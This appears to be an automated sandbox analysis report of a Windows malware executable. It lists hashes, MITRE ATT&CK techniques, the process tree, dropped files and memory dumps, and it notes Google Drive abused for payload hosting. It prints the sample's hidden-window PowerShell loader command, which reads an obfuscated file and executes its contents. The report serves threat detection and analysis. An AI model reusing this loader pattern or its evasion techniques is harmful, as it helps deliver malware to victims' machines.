a11afeaa9b2aaa0dcb386223ebae75f9cee5e6ee0dc3c1c29fcf9ba44f496c39

Analysis

max time kernel
92s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-11-2024 07:27

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General

Target

a11afeaa9b2aaa0dcb386223ebae75f9cee5e6ee0dc3c1c29fcf9ba44f496c39.exe
Size

816KB
MD5

adaf13e72e6520b5a931a674f0f23e60
SHA1

7e37eb41761675b7b6d643f83fb14c5d25212044
SHA256

a11afeaa9b2aaa0dcb386223ebae75f9cee5e6ee0dc3c1c29fcf9ba44f496c39
SHA512

a558866436cc8635633447c0290319e003dca2466ae2b81bbeaa7edfe1feda3d6a658d3a0a05eda10345965cc43219b2e2a1e2239eb3239f12909d8dc6033334
SSDEEP

12288:G7MoUURtRl071HsUCcQ7AYGyCR5EvlP9Ia8GIbPYkAdwvLRPC6Oe73MFc:mL5tXwMUxQ7A7REIacPYkAevLRPJy

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3496	powershell.exe

Blocklisted process makes network request 5 IoCs

flow	pid	Process
33	1292	msiexec.exe
35	1292	msiexec.exe
37	1292	msiexec.exe
39	1292	msiexec.exe
41	1292	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
32	drive.google.com
33	drive.google.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\narrowness.ini	a11afeaa9b2aaa0dcb386223ebae75f9cee5e6ee0dc3c1c29fcf9ba44f496c39.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1292	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3496	powershell.exe
1292	msiexec.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\mutases.fin	a11afeaa9b2aaa0dcb386223ebae75f9cee5e6ee0dc3c1c29fcf9ba44f496c39.exe
File opened for modification	C:\Windows\resources\energiudfoldelsers.Uku	a11afeaa9b2aaa0dcb386223ebae75f9cee5e6ee0dc3c1c29fcf9ba44f496c39.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2344	1292	WerFault.exe	91

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a11afeaa9b2aaa0dcb386223ebae75f9cee5e6ee0dc3c1c29fcf9ba44f496c39.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3496	powershell.exe
3496	powershell.exe
3496	powershell.exe
3496	powershell.exe
3496	powershell.exe
3496	powershell.exe
3496	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3496	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeIncreaseQuotaPrivilege	3496	powershell.exe
Token: SeSecurityPrivilege	3496	powershell.exe
Token: SeTakeOwnershipPrivilege	3496	powershell.exe
Token: SeLoadDriverPrivilege	3496	powershell.exe
Token: SeSystemProfilePrivilege	3496	powershell.exe
Token: SeSystemtimePrivilege	3496	powershell.exe
Token: SeProfSingleProcessPrivilege	3496	powershell.exe
Token: SeIncBasePriorityPrivilege	3496	powershell.exe
Token: SeCreatePagefilePrivilege	3496	powershell.exe
Token: SeBackupPrivilege	3496	powershell.exe
Token: SeRestorePrivilege	3496	powershell.exe
Token: SeShutdownPrivilege	3496	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeSystemEnvironmentPrivilege	3496	powershell.exe
Token: SeRemoteShutdownPrivilege	3496	powershell.exe
Token: SeUndockPrivilege	3496	powershell.exe
Token: SeManageVolumePrivilege	3496	powershell.exe
Token: 33	3496	powershell.exe
Token: 34	3496	powershell.exe
Token: 35	3496	powershell.exe
Token: 36	3496	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3776 wrote to memory of 3496	3776	a11afeaa9b2aaa0dcb386223ebae75f9cee5e6ee0dc3c1c29fcf9ba44f496c39.exe	82
PID 3776 wrote to memory of 3496	3776	a11afeaa9b2aaa0dcb386223ebae75f9cee5e6ee0dc3c1c29fcf9ba44f496c39.exe	82
PID 3776 wrote to memory of 3496	3776	a11afeaa9b2aaa0dcb386223ebae75f9cee5e6ee0dc3c1c29fcf9ba44f496c39.exe	82
PID 3496 wrote to memory of 1292	3496	powershell.exe	91
PID 3496 wrote to memory of 1292	3496	powershell.exe	91
PID 3496 wrote to memory of 1292	3496	powershell.exe	91
PID 3496 wrote to memory of 1292	3496	powershell.exe	91

C:\Users\Admin\AppData\Local\Temp\a11afeaa9b2aaa0dcb386223ebae75f9cee5e6ee0dc3c1c29fcf9ba44f496c39.exe
"C:\Users\Admin\AppData\Local\Temp\a11afeaa9b2aaa0dcb386223ebae75f9cee5e6ee0dc3c1c29fcf9ba44f496c39.exe"
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3776
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Protoleucocyte=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\skittaget\lektier\Jories.Non';$Knaldgode=$Protoleucocyte.SubString(9598,3);.$Knaldgode($Protoleucocyte) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3496
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:1292
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1292 -s 1852
      4⤵
      Program crash
      PID:2344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1292 -ip 1292
1⤵
PID:392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ywwpiv0g.tpm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\skittaget\lektier\Fllesskoler.Tra157

Filesize
335KB

MD5
914568a6e2ad309288f9c18cdff44183

SHA1
12559e20ab5cb7b4558399cec356009568fe4d6a

SHA256
d0cebb69ca4feb808af76eaccd497a78cb7567f37c849f948488e912f8d14f85

SHA512
a991106537ec545184284a814a93ce8a804b16ac8d5ca270887977883a7946519f23bf41f793b48605490320c25fe46000ecba5db899d416fee03a238d7c5900

Download Submit
C:\Users\Admin\AppData\Roaming\skittaget\lektier\Jories.Non

Filesize
71KB

MD5
bb77ce2f024b86b7eaafc1575d287958

SHA1
f3c906d61e6c7c55abc262746e1135c599a00822

SHA256
41dd16c572f42f1aa912c7075fa065a8af108b18c326e9f2d452fee9b253037c

SHA512
5a07a915c602cb876d8b5d3928e62503cb0cc813f38a3bd10090a9eb95e0195872299960b5d6c8976a360636c169bf560b7b7ab16bbb6ce14b7385787cd41736

Download Submit
memory/1292-82-0x0000000000C00000-0x0000000001E54000-memory.dmp

Filesize
18.3MB

Download
memory/1292-81-0x0000000000C00000-0x0000000001E54000-memory.dmp

Filesize
18.3MB

Download
memory/3496-48-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-49-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-23-0x00000000055D0000-0x0000000005636000-memory.dmp

Filesize
408KB

Download
memory/3496-24-0x00000000057B0000-0x0000000005816000-memory.dmp

Filesize
408KB

Download
memory/3496-25-0x0000000005820000-0x0000000005B74000-memory.dmp

Filesize
3.3MB

Download
memory/3496-26-0x0000000005C70000-0x0000000005C8E000-memory.dmp

Filesize
120KB

Download
memory/3496-27-0x0000000005CD0000-0x0000000005D1C000-memory.dmp

Filesize
304KB

Download
memory/3496-28-0x0000000006C50000-0x0000000006CE6000-memory.dmp

Filesize
600KB

Download
memory/3496-29-0x0000000006180000-0x000000000619A000-memory.dmp

Filesize
104KB

Download
memory/3496-30-0x00000000061D0000-0x00000000061F2000-memory.dmp

Filesize
136KB

Download
memory/3496-31-0x00000000072E0000-0x0000000007884000-memory.dmp

Filesize
5.6MB

Download
memory/3496-12-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-33-0x0000000007F10000-0x000000000858A000-memory.dmp

Filesize
6.5MB

Download
memory/3496-34-0x00000000070D0000-0x0000000007102000-memory.dmp

Filesize
200KB

Download
memory/3496-35-0x0000000070450000-0x000000007049C000-memory.dmp

Filesize
304KB

Download
memory/3496-38-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-36-0x00000000705D0000-0x0000000070924000-memory.dmp

Filesize
3.3MB

Download
memory/3496-8-0x000000007463E000-0x000000007463F000-memory.dmp

Filesize
4KB

Download
memory/3496-47-0x0000000007110000-0x000000000712E000-memory.dmp

Filesize
120KB

Download
memory/3496-13-0x0000000005500000-0x0000000005522000-memory.dmp

Filesize
136KB

Download
memory/3496-50-0x0000000007140000-0x00000000071E3000-memory.dmp

Filesize
652KB

Download
memory/3496-51-0x0000000007240000-0x000000000724A000-memory.dmp

Filesize
40KB

Download
memory/3496-52-0x0000000007280000-0x00000000072AA000-memory.dmp

Filesize
168KB

Download
memory/3496-53-0x00000000072B0000-0x00000000072D4000-memory.dmp

Filesize
144KB

Download
memory/3496-55-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-54-0x000000007463E000-0x000000007463F000-memory.dmp

Filesize
4KB

Download
memory/3496-56-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-57-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-58-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-11-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-60-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-61-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-63-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-62-0x0000000008590000-0x000000000CB2E000-memory.dmp

Filesize
69.6MB

Download
memory/3496-64-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-66-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-67-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-68-0x0000000074630000-0x0000000074DE0000-memory.dmp

Filesize
7.7MB

Download
memory/3496-10-0x0000000004ED0000-0x00000000054F8000-memory.dmp

Filesize
6.2MB

Download
memory/3496-9-0x0000000002690000-0x00000000026C6000-memory.dmp

Filesize
216KB

Download